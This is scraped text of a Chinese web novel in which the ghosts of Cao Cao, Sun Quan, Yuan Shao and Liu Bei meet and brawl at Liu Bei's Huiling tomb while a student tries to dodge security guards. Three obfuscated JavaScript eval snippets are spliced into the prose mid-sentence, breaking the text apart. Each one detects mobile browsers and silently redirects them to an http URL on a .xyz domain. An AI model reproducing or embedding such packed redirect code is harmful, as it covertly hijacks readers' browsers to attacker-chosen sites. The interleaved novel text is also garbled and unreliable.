;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|10937361|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简体字的学习,此时也能看懂个大概。 比较好奇“玄亮粉”是什么意思,听上去不像他们的袁绍、曹操、孙权铁杆粉来得直观。 曹冲大惊失色,甚至不惜卖萌岔开话题,说:“快些走吧,早点执行完任务,带我去看熊猫呀。” “我炒!冲儿在向我撒娇!”吕思彤双手捧住曹冲脸庞就搓面团,心满意足道,“走,出发!” 而孙权似乎想起了才忘记没多久的东西,也是脸色一变,又陷入了困惑之中。 反复念叨着:诸葛亮怎么会成东吴使臣呢,后世到底是根据哪里的传闻杜撰的野史呢? 汉朝人还是单纯,认为野史一定要有传闻依据,可以捕风捉影但不能无中生有,更不能颠倒黑白。 一人五鬼经过几次转车终于来到了昭烈庙前,红底的牌匾上金色的“汉昭烈庙”四字便映入眼帘。 老头们十分嫉妒,此地一看就多有修缮维护,仍旧保留着诸多汉时的风格。 孙权和袁绍的暂且不提,高陵虽被发现保护起来,全新的后世风格建筑大气是挺大气,缺少那么点“家”的感觉。 走进第一个祠堂,供着的刘备像慈眉善目。不知道是不是周内的缘故,游客零散,看着有些冷落。 又瞄了眼人物介绍,曹操失笑,说:“刘备大局宽仁,可不是性格宽厚,他那脾气,没比他三弟好多少。” 提到张三,孙权故作淡定地左右看了看,比起张三,更担心的是遇到关二。 不不不,随便遇到哪个蜀国的都烦,自己也没个自己人在身边,曹家三人和袁绍必定是看热闹的。心想着等此次事毕,让小吕帮忙去找找江东自己人。 没看到刘备显灵,估摸着要去坟头探望才行。 绕到第一间祠堂后一看,好家伙,游客还挺多的,怎么不看刘备都跑后面来了。 仔细一看这边的祠堂上面写着三个字“武侯祠”,游客们纷纷举着手机拍照,就连阅读墙上的介绍都更仔细了,这尊像手持羽扇端坐在上,正是诸葛亮。 “君臣合祀?闻所未闻。”曹操有点羡慕,一想到自己临终前还在身边的谋士是贾诩司马懿,瞬间又觉得还是算了。 孙权试图赚回点面子,说:“后世小朱是个雄主,我给他守陵也不算折辱。倒是刘备,给自己的臣子当门神,呵呵。” 老头们都不想听后人们对诸葛亮的夸奖,继续往后走穿过一条红墙走廊,来到了惠陵。 青石砖铺成的神道有淡淡苔藓的痕迹,两侧的石像也不似明孝陵那般生动,有着更明显的岁月侵蚀的痕迹。 墓前的有几个游客正在拍照,墓碑边上有几束花,周围环境寂静,秋冬的风拂过些许凉意。 吕思彤左右看看都没看到刘备的鬼魂,不知道是没醒还是醒了出墓闲逛去了。 曹操捋了捋胡子,说:“我下去看看玄德在不在家。” 孙权则已经来到墓碑前,疑惑又带几分阴阳怪气地问:“刘玄德,你可知诸葛亮改名凄然,当了东吴使臣的事情?” “一派胡言!”陵墓里有人应声了。 26.看看实力 话音落地,墓碑上缓缓走下来一个头戴十二旒冠的老者,一身黑色的玄端礼衣,腰间一对双股剑。头发花白,稀疏的胡子打理得很整洁,与前头祠堂里的神像有几分相似,只是眉目没有那么柔和。 一见到这老者出来,曹操就笑了起来,道:“玄德公,别来无恙啊。” 刚从墓里出来的刘备带着些许对陌生时空的迷茫,他知晓自己死了,也知晓曹贼比自己死得更早。 两侧石像整洁没有任何的青苔覆盖,可见后世人经常修整。 游客往来,闲谈几句往事风云。 原来是白驹过隙,已过千年之久。 刘备接受了这巨大的时间落差之后,视线锁定在曹操身上,几分警惕地一手按剑,道:“曹贼,你为何会在朕的陵墓。” “玄德公!远道而来皆是客,此非待客之道也。”曹擦语态轻松,都是死过一回的人,哪会在意生死。 刘备按在佩剑上的手没有松开,知晓曹贼狡诈,不可不防。 又问:“是你污蔑孔明投东吴了?朕与孔明绝无猜忌,这等伎俩能欺谁?” “哎呀,玄德。”曹操呵呵一笑,故作熟络地拽过刘备的手,拍了拍说,“我之为人,难道会用这等计谋?倒是当年你那的谋士,时不时以西凉马腾谋反来诈我。” 刘备抽走手,并不想搭理曹贼。当年暂时投靠曹操也是无奈之举,不得不表面友好,而如今早就立场分明,也不必留什么客气。 刘备又看向在场的另外几个穿着汉时衣物的鬼魂。 一个是袁绍,他能认得出,当年官渡开战后不久他便逃离曹操投奔袁绍,又见其并非成大事之人,又离开了袁绍。 两个年轻鬼魂没什么印象,但看他们站得离曹操很近,从死亡年龄推测的话也能猜到是曹昂和曹冲。 最后这个穿着和自己同款帝王服饰的老头,面容倒是格外陌生,看着比曹操还要老很多岁。 然而老头白发里混着些许不明显的淡紫,以及那种看一眼就觉得莫名火大恨不得一拳打上去的感觉,让刘备再不确定也确定了。 正是他曾经的大舅哥,后来的杀弟仇人,孙权孙仲谋! 利刃出鞘,寒芒刺目。 双股剑出鞘成两把利剑,刘备左右持剑怒视孙权,新仇旧恨一并算。 刘备咬牙道:“孙权小儿,生前杀朕两位兄弟,死后还要污蔑孔明挑拨我等君臣情谊,江东鼠辈,当真该杀!” 孙权后退一步,边上的吕思彤后退两步。 我炒!别沾边!看不见我看不见我,我就一个普通游客! 孙权称帝那么多年,天子的颜面还是想保留的,此时遇到危险也只是保持距离没有太大的逃避幅度。 辩驳说:“将在外军令有所不受,关羽心高气傲,故有此劫。你要算我头上,我也认了,张飞之死如何也要算我?” 张飞因鞭挞士卒被下属杀害,脑袋献给了东吴。 不算东吴的账算谁的? 曹操上前劝架,说如今不是计较恩怨的时候,仲谋也早就死了,不要给后世小辈看了笑话。 刘备扫视一圈,没有要放下剑的打算,说:“有哪位小辈能看笑话?旧恨难消,新仇又添,今日就要杀孙权给孔明谢罪。” “皆是后世流传的野史,要谢罪也不是我。”孙权一边说着,视线投向了边上装没看见鬼的吕思彤。 “……” 我炒!江东人何苦为难江东人啊!你个老赤佬! 刘备却不听孙权辩解,以为他是开脱之词,举剑就要劈砍去。 曹操和袁绍上前一人控制住一只手,曹操说:“玄德息怒,此非谎言,既然我等能在此间醒来,你那两位兄弟自然也能。她绝非常人,只需她去关羽张飞墓看一眼,你们兄弟就能团聚了。” 听到兄弟团聚,刘备这才稍微冷静了些。 曹操又说:“诸葛亮在你死后为守住你的疆土,劳累而亡,如今也能相聚。”说着别人家的谋士,有点想念自家的谋士。 刘备恼怒的眼眸逐渐恢复冷静,将双股剑收拢入鞘,看向一脸愁苦的后世小辈,问:“阁下当真能看见我们?如何称呼?” 吕思彤尴尬笑了笑,拿起手机假装打电话,说:“呵呵你好你好,打扰了,姓吕名思彤。” “……”闻言,刘备才平缓下来的眉头又拧了起来,问,“是成都人士?” 孙权说:“小吕是我们江东百姓。”一副很骄傲的样子。 吕思彤心里却咯噔一声,有一种不祥的预感。 果然,刘备听到姓吕的江东人,当即ptsd,手又按在了佩剑上,咬牙道:“莫非是吕蒙后人?难怪有能见到我等的机缘,是有血仇在身!” 当年关羽守荆州,正是吕蒙用计假扮商人混入城中,且作为攻荆州的指挥官没能约束好手下,使得小将马忠贪功而直接杀死了落败的关羽。 吕蒙白衣渡劫之计,也是江东被骂鼠辈的原因之一。 历来打仗不成为的规矩,不轻易对商人百姓下手,而士兵也不可以扮作商人百姓,一旦如此,之后战事之中为了防止敌军伪装,就会祸及百姓,杀了以防后患。 “不是当然不是,我怎么会是吕蒙后人呢!”吕思彤立刻反驳。 袁绍也帮忙解释说:“小吕是吕布后人。” 原本想顺便损阿瞒说是吕伯奢,考虑到吕伯奢全家都没了,刘备不太容易相信,便改了吕布。 “我……”吕思彤一口气憋在心里,含泪点头,只能先对不起正儿八经的自家祖先了,说,“是的,我祖上是吕布。” 唉,吕布当年也就三姓家奴,她虽是一姓,却已经被追溯了四个先祖。 吕伯奢、吕布、吕蒙,还有个自己要认的吕雉。 四祖家奴??不!!! 吕布活着的时候口碑不好,死了还一直被当做典型对比,但一说是吕布的后人,刘备倒是放心了。 很显然,吕布那种死得早且没有称霸过的人,入不了袁曹刘孙任何一个人的眼。 争论逐渐平息,刘备问他们来他陵墓作甚,众人便说是帮曹操捉盗墓贼。 袁绍的陵墓也被盗,而且所剩无几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|10950015|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就算不是同一伙人盗的,逮着了也是杀鸡儆猴。 孙权是防患于未然,跟着一起后世溜达也不错,好过回明孝陵给小朱看门吧? “曹贼陵墓被盗,与朕何干?”刘备还有火气没消,说,“多行不义必自毙。” 游客往来换了一批又一批,又有人在墓碑前献上了一束花。 吕思彤趁他这么一小会心情还不错,说:“呃,刘总,就是,你是不是有一个白玉美人?” “……”刘备停顿了一下,皱眉说,“问此作甚?” “那伙盗墓贼可能把你夫人给偷了。” “……”刘备看了眼自己的陵墓,说,“你是指,甘氏?” “是啊。” “甘氏此时就在陵中。” 众人:??? 曹操和孙权不乐意了,他们陵墓也都是有老婆葬在一起的,怎么就没见到老婆的鬼魂?凭什么他刘玄德能有老婆? 老鬼们不信,要去陵墓中一探究竟,刘备自然不答应,可他也拦不住鬼魂。 吕思彤还在犹豫,竟看见侧面出现了一个走下去的通道,和当初在沧州袁绍墓看到的一样,以为是高仿,结果是真墓。 此时恰好刚走了一批游客暂时空着,吕思彤快速从通道走了下去。 走到陵墓里和老鬼们集合之后,后面的通道就消失不见。 或许是因为有这么多鬼魂在,明明没有任何光源,却能清楚看到陵墓里的结构。 地面摆放着的陪葬品完好无损,没有任何被盗过的痕迹,从周围密封完整的土层来看,连个盗洞都没有,那就怪了,盗墓贼说的玉俑是哪里来的。 跟着刘备来到侧面耳室,果真见到了甘夫人。 当年曹操追击刘备,两位夫人和阿斗在长坂坡走散。赵云一路厮杀,救回了甘夫人和阿斗,但是甘夫人重病,第二年就病逝于南郡,年仅二十二岁。 她年轻貌美肤如凝脂,就像白玉美人一样。 后来恰巧有个商人送了一尊三尺的白玉美人像给刘备,刘备便有了两个白玉美人。 见过甘夫人后,几人在墓里边走边分析。 “那么盗墓贼手里的应该就是那尊白玉美人像了。”三尺也就是一米,是常见的陪葬俑高度,也就不奇怪被误以为是玉俑了。 要说玉俑是相当高的规格了,秦始皇都是陶俑,没道理刘备会用玉俑。 是美人像,不是陪葬俑,所以不是从惠陵偷窃的,也就解释了为何土封层完好。 刘备回忆着说:“自甘氏死后,那尊白玉像便留在了南郡。” 甘氏骸骨是后来迁回成都来合葬的,大概率是迁坟的人把那白玉像给昧下了。 说完回头看向吕思彤,又说:“那伙盗贼如今何在,要怎样才能……” 突然发现好像少了人。 曹操呢? 刘备咯噔一下,立刻折返耳室。 “当年云长为保全夫人暂时投降于我,那时有过一面之缘,夫人可还记得?”曹操在那边闲聊。 “曹贼!!”刘备愤怒拔剑。 27.看看实力 景点管理处,监控室。 值班的两名保安检查了很久的设备都没发现问题,但对着惠陵坟包的那几个镜头就是格外模糊,只能看到大概的往来人影。 过了一阵后,似乎只剩一个人站在那里,监控屏幕突然一阵滋滋的声音,那几个镜头扭曲了一下,随后恢复正常的清晰度。 而此时的画面里已经没有游客在,等过了好一会,才又来了两个一起的游客到墓碑前。 两名女生,一人拿着花束,一人拿着卡片到陵墓前祭奠,那人物卡片上的名字正是祠堂里另一位,诸葛亮。 行为和给孙权送张辽人物卡差不多,意味却差了很多。 那两个女生突然一副惊讶的样子指着陵墓。 调整监控的收音设备,可以听到如下对话。 “你听到了吗,里面是不是有声音?” “天呐,不会是丞相来串门了吧?” “虽然……但是……我怎么觉得动静有点大,是不是最近惠陵翻修?” “翻修会修地下吗……如果要开挖考古的话,应该会把这边围起来吧?” 两名保安心头一凛,一人继续留在监控室盯着,另一人跑去了惠陵的坟包前。 果真和那两个游客说的一样,靠近了能听到一些声音,分辨不清,唯一能确定的是:就是从地下传来的。 坚定的唯物主义保安立刻做出一个判断:好嚣张的盗墓贼!居然挖到惠陵来了! 立刻层层上报,请示对策。 消息很快就到了李队的耳朵里,他是负责这一片的警员,再加上手里正有和高陵、苏博联手调查的案子,干脆惠陵也找他了。 “……嘟……嘟……”电话打不通。 “李队,我们现在怎么说?” 李队思索一会儿,说:“先围起来,等探测仪过来。” “好。” 此时,陵墓之中。 吕思彤盯着扭打在一起的五个鬼魂,着急地跺脚道:“住手!住手!你们不要再打啦!” 要说事情的起源确实是曹操不厚道,别人在那边一起分析盗墓贼的事情,他偷偷跑过来搭讪刘备的老婆,简直是欺人太甚。 而刘备则因此想起了当年二弟关羽和两位夫人一同在曹营时的事情,那时候曹贼为了做坏关羽的名声,故意把两位夫人和关羽安排在了一个院子里。 即使口碑如云长,也还是有闲言碎语流传,两位夫人听了总是委屈落泪。 卑鄙! 又想到当年如果不是二弟在,以曹贼这品行,恐怕两位夫人也是危险了。曹贼惦记他兄弟,还惦记他夫人,岂有此理! 因墓室里无非施展开双股剑,而曹操意识到危险后先发制人,两个老鬼就搏斗起来。 孙权看两个老鬼都不顺眼,但要说打起来帮谁,那肯定是帮刘备。 “当年你我结盟,未能约束手下,杀了关羽,确实有我的责任过错。今日帮你拦截曹贼,以表歉意。” 于是就变成了三个鬼打架。 曹昂哪能忍父亲遭遇危险,也加入了战局。 2v2,难分胜负。 曹操拉下脸来向袁绍求助,袁绍正要帮忙,却听刘备说: “本初,岂不闻何进之事乎?” 这个记忆对袁绍而言也太过久远,何进被十常侍所杀,那时候的曹操还只是个…… 等等,莫非是指曹操纳了何进儿媳妇尹氏为妾这件事? “刘备,你话说清楚,此言何意?”袁绍觉得这话不对劲,“难道我死后,他也……” 几个老鬼轻蔑呵呵笑,鄙夷地看向曹贼,但又不直说。 袁绍只阅读了一些繁体的概括型史书,并没有细节到一场战争胜利之后的人员分配。之前让他们看的电视剧也被冲儿超级快进,所以袁绍并不知道邺城被攻占之后的事情。 “小吕!曹贼他怎么回事!”袁绍见老鬼们都不说,那就让小辈来说。 “倒不是他纳了你儿媳妇,是他儿子……” 对比下来似乎没有那么难以接受,好歹还是个同辈。 但,自家的儿媳妇变成了曹贼的儿媳妇,更难受了! “曹贼!”于是袁绍也加入了战局。 密封狭窄的空间里,五个鬼魂的吵闹打斗声格外刺耳,吕思彤想劝都无从下手。一边的甘夫人被这变故给吓到,小心翼翼地挪到了吕思彤的边上。 “这可如何是好?”甘夫人眉头微蹙,一双秋眸含泪,十分担忧眼下的情况。 “嗯……以普遍理性而论,等他们打不动就好了。” 吕思彤也不敢上前拉架,他们鬼魂反正死过一次还有零点刷新的机制受伤也无所谓,她一个脆皮大学生要是磕碰到了,那是真的会碎。 不仅不劝架,甚至还想把这一幕拍下来,可惜相机无法捕捉到鬼。 同样相机也无法捕捉到墓里的光,镜头里是黑漆漆一片。 吕思彤没反应过来这里的差距,随手点了一下,伴随着咔嚓一声,刺眼的闪光灯亮起,瞬间就让扭打在一起的老鬼们稍微恢复了些许理智,分开后各自站到了边上。 闪光灯拍下了陵墓内部的样子,想起来惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|10962916|113232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵的目的就是要给盗墓贼看看“实力”,这张照片足够实力了吧? 便给对方发了过去。 看见有李队发来的消息,询问她是否还在昭烈庙。他那边收到汇报,可能有一伙盗墓贼正在偷盗惠陵的东西,如此猖狂恐怕有武器,现在已经找了理由在对游客进行疏散,随后就会使用仪器探测陵墓生物活动迹象,一旦坐实了陵墓里有贼的事情,就不得不抢救型挖掘。 是个大工程,也会是个大新闻。 “坏了!我们成盗墓贼了?!” 见状不妙,几位老鬼也没了争斗的心思,一个个从陵墓里冒出脑袋观察地面的情况。 此时惠陵附近已经没了游客,周围一圈都拉起了警戒线,远处游客们都举着手机拍摄这边,纷纷猜测是不是有什么事情,有人说是显灵了,有人说是游客弄坏了碑。 他们鬼魂想出来自然简单,吕思彤这个活人被困在里面可就麻烦了。 现在是些许障眼法,如果一直被人盯着无法出现台阶,小吕恐怕是要闷死在里面。 唯一的办法是趁着仪器还没来,这边的防守的人员也还不算多的时候,选个没有看守的位置跑出来,对方就算盘查也会因为地面没有盗洞而作罢。 老鬼们上去放哨,仔细观察了周围一圈,在侧后方有个暂时无人的地方,他们都从那边走出去,就可以出现通路。 就在吕思彤着急怎么出去不被发现的时候,盗墓贼那边回复了消息。 [随便找个摄影棚摆拍来骗我们?不要搞这种虚的,只看实力。] 啊? 我炒,都到惠陵地下了,还不够实力吗?? [你有病吧?实力当然指市面上没有的真品!谁特么会信你这时候在墓里,还是规格看着不小的墓!没诚意就别谈了,到此为止。] 吕思彤被气得不轻,原来是高看了他们,便先没有回复,还是先出去要紧。 曹操瞥了眼信息,说:“要真品,这里不多的是,就看玄德是否愿意了。” 刘备很大方,说:“随意挑。” 这可不兴拿呀!!!吕思彤说什么也不拿,直接跟在鬼魂后面走出陵墓。 这时候监控室里的画面又坏了。 从陵墓侧面走出来,脚碰到草木发出悉索的声音,立刻引起了边上安保人员的注意,两个人同时出现在她一左一右,脸上表情有些疑惑。 “站着别动。”两人警惕地端详了一下她所在的位置附近,没有看到什么能够出入陵墓的地方。 “在这边鬼鬼祟祟干嘛?刚才清场没听见吗?”